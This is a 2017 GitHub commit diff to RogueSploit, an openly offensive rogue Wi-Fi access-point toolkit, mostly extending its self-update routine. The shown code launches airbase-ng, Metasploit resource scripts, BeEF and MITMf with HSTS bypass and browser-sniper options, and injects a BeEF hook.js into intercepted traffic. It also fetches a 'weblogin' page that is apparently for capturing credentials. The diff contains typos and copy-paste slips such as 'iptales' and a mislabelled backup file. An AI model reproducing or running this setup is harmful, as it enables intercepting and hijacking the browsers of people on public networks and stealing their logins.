update updating system

This commit is contained in:
Francesco Grotti
2017-02-19 18:44:19 +01:00
committed by GitHub
parent 437da3773f
commit cb52e0dd29

View File

@@ -40,7 +40,7 @@ msfdb start
msfd msfd
pkill dhcpd pkill dhcpd
pkill airbase-ng pkill airbase-ng
iptables -F iptales -F
airmon-ng stop wlan1mon airmon-ng stop wlan1mon
sleep 3 sleep 3
@@ -920,7 +920,7 @@ beef:
EOF EOF
sleep 0.6 sleep 0.6
echo -e $blue"["$red"!"$blue"]"$white" Starting Roguesploit Pwning! "$blue"["$red"!"$blue"]" echo -e $blue"["$red"!"$blue"]"$white" Starting Roguesploit Pwning! "$blue"["$red"!"$blue"]"
rogueon && echo -e $blue"["$red"!"$blue"]"$white" MITMF will load after 20 sec to permit BeEF to load everything!"$blue"["$red"!"$blue"]" & xterm -title "BeEF" -bg "#000000" -fg "#FFFFFF" -geometry 100x25+1 -e "./BeEFStarter" & sleep 20 && xterm -title "MITMF" -bg "#000000" -fg "#FFFFFF" -geometry 100x25-1 -e "sudo mitmf -i at0 --hsts --browsersniper --inject --js-url http://10.0.0.1:3000/hook.js" rogueon && echo -e $blue"["$red"!"$blue"]"$white" MITMF will load after 20 sec to permit BeEF to load everything!"$blue"["$red"!"$blue"]" & xterm -title "BeEF" -bg "#000000" -fg "#FFFFFF" -geometry 100x25+1-1 -e "msfconsole -r $(pwd)/roguepwn3.rc" & xterm -title "BeEF" -bg "#000000" -fg "#FFFFFF" -geometry 100x25+1 -e "./BeEFStarter" & sleep 20 && xterm -title "MITMF" -bg "#000000" -fg "#FFFFFF" -geometry 100x25-1 -e "sudo mitmf -i at0 --hsts --browsersniper --inject --js-url http://10.0.0.1:3000/hook.js"
menu menu
} }
#Welcome Screen #Welcome Screen
@@ -1068,11 +1068,35 @@ elif test $answer1 == '7'
sleep 0.4 sleep 0.4
echo -e $blue"[*]"$yellow"Updating roguepwn2.rc file"$blue"[*]" echo -e $blue"[*]"$yellow"Updating roguepwn2.rc file"$blue"[*]"
cp roguepwn2.rc $HOME/RogueBackup/roguepwn2.rc.backup cp roguepwn2.rc $HOME/RogueBackup/roguepwn2.rc.backup
curl "https://raw.githubusercontent.com/B4ckP0r7/RogueSploit/master/roguepwn2.rc" -s -o $PWD/roguepwn2 curl "https://raw.githubusercontent.com/B4ckP0r7/RogueSploit/master/roguepwn2.rc" -s -o $PWD/roguepwn2.rc
sleep 0.4
echo -e $blue"[*]"$yellow"Updating roguepwn3.rc file"$blue"[*]"
cp roguepwn2.rc $HOME/RogueBackup/roguepwn3.rc.backup
curl "https://raw.githubusercontent.com/B4ckP0r7/RogueSploit/master/roguepwn3.rc" -s -o $PWD/roguepwn3.rc
sleep 0.4
echo -e $blue"[*]"$yellow"Updating BeEFStarter.sh file"$blue"[*]"
cp BeEFStarter.sh $HOME/RogueBackup/BeEFStarter.sh.backup
curl "https://raw.githubusercontent.com/B4ckP0r7/RogueSploit/master/BeEFStarter.sh" -s -o $PWD/BeEFStarter.sh
sleep 0.4 sleep 0.4
echo -e $blue"[*]"$yellow"Updating README file"$blue"[*]" echo -e $blue"[*]"$yellow"Updating README file"$blue"[*]"
curl "https://raw.githubusercontent.com/B4ckP0r7/RogueSploit/master/README.md" -s -o $PWD/README.md curl "https://raw.githubusercontent.com/B4ckP0r7/RogueSploit/master/README.md" -s -o $PWD/README.md
chmod +x * -R sleep 0.4
echo -e $blue"[*]"$yellow"Updating weblogin index file"$blue"[*]"
mkdir $PWD/weblogin
curl "https://raw.githubusercontent.com/B4ckP0r7/RogueSploit/master/weblogin/index.html" -s -o $PWD/weblogin/index.html
sleep 0.4
echo -e $blue"[*]"$yellow"Updating weblogin css file"$blue"[*]"
mkdir $PWD/weblogin/css
curl "https://raw.githubusercontent.com/B4ckP0r7/RogueSploit/master/weblogin/css/style.css" -s -o $PWD/weblogin/css/style.css
sleep 0.4
echo -e $blue"[*]"$yellow"Updating weblogin scss file"$blue"[*]"
mkdir $PWD/weblogin/scss
curl "https://raw.githubusercontent.com/B4ckP0r7/RogueSploit/master/weblogin/scss/style.scss" -s -o $PWD/weblogin/scss/style.scss
sleep 0.4
echo -e $blue"[*]"$yellow"Updating weblogin javascript file"$blue"[*]"
mkdir $PWD/weblogin/js
curl "https://raw.githubusercontent.com/B4ckP0r7/RogueSploit/master/weblogin/js/index.js" -s -o $PWD/weblogin/js/index.js
chmod +x $HOME/RogueSploit/* -R
echo -e $green" Updated successfully! Restarting the script to apply the changes ..." echo -e $green" Updated successfully! Restarting the script to apply the changes ..."
sleep 3 sleep 3
exec $0 exec $0
@@ -1247,11 +1271,35 @@ elif test $answer1 == '7'
sleep 0.4 sleep 0.4
echo -e $blue"[*]"$yellow"Updating roguepwn2.rc file"$blue"[*]" echo -e $blue"[*]"$yellow"Updating roguepwn2.rc file"$blue"[*]"
cp roguepwn2.rc $HOME/RogueBackup/roguepwn2.rc.backup cp roguepwn2.rc $HOME/RogueBackup/roguepwn2.rc.backup
curl "https://raw.githubusercontent.com/B4ckP0r7/RogueSploit/master/roguepwn2.rc" -s -o $PWD/roguepwn2 curl "https://raw.githubusercontent.com/B4ckP0r7/RogueSploit/master/roguepwn2.rc" -s -o $PWD/roguepwn2.rc
sleep 0.4
echo -e $blue"[*]"$yellow"Updating roguepwn3.rc file"$blue"[*]"
cp roguepwn2.rc $HOME/RogueBackup/roguepwn3.rc.backup
curl "https://raw.githubusercontent.com/B4ckP0r7/RogueSploit/master/roguepwn3.rc" -s -o $PWD/roguepwn3.rc
sleep 0.4
echo -e $blue"[*]"$yellow"Updating BeEFStarter.sh file"$blue"[*]"
cp BeEFStarter.sh $HOME/RogueBackup/BeEFStarter.sh.backup
curl "https://raw.githubusercontent.com/B4ckP0r7/RogueSploit/master/BeEFStarter.sh" -s -o $PWD/BeEFStarter.sh
sleep 0.4 sleep 0.4
echo -e $blue"[*]"$yellow"Updating README file"$blue"[*]" echo -e $blue"[*]"$yellow"Updating README file"$blue"[*]"
curl "https://raw.githubusercontent.com/B4ckP0r7/RogueSploit/master/README.md" -s -o $PWD/README.md curl "https://raw.githubusercontent.com/B4ckP0r7/RogueSploit/master/README.md" -s -o $PWD/README.md
chmod +x * -R sleep 0.4
echo -e $blue"[*]"$yellow"Updating weblogin index file"$blue"[*]"
mkdir $PWD/weblogin
curl "https://raw.githubusercontent.com/B4ckP0r7/RogueSploit/master/weblogin/index.html" -s -o $PWD/weblogin/index.html
sleep 0.4
echo -e $blue"[*]"$yellow"Updating weblogin css file"$blue"[*]"
mkdir $PWD/weblogin/css
curl "https://raw.githubusercontent.com/B4ckP0r7/RogueSploit/master/weblogin/css/style.css" -s -o $PWD/weblogin/css/style.css
sleep 0.4
echo -e $blue"[*]"$yellow"Updating weblogin scss file"$blue"[*]"
mkdir $PWD/weblogin/scss
curl "https://raw.githubusercontent.com/B4ckP0r7/RogueSploit/master/weblogin/scss/style.scss" -s -o $PWD/weblogin/scss/style.scss
sleep 0.4
echo -e $blue"[*]"$yellow"Updating weblogin javascript file"$blue"[*]"
mkdir $PWD/weblogin/js
curl "https://raw.githubusercontent.com/B4ckP0r7/RogueSploit/master/weblogin/js/index.js" -s -o $PWD/weblogin/js/index.js
chmod +x $HOME/RogueSploit/* -R
echo -e $green" Updated successfully! Restarting the script to apply the changes ..." echo -e $green" Updated successfully! Restarting the script to apply the changes ..."
sleep 3 sleep 3
exec $0 exec $0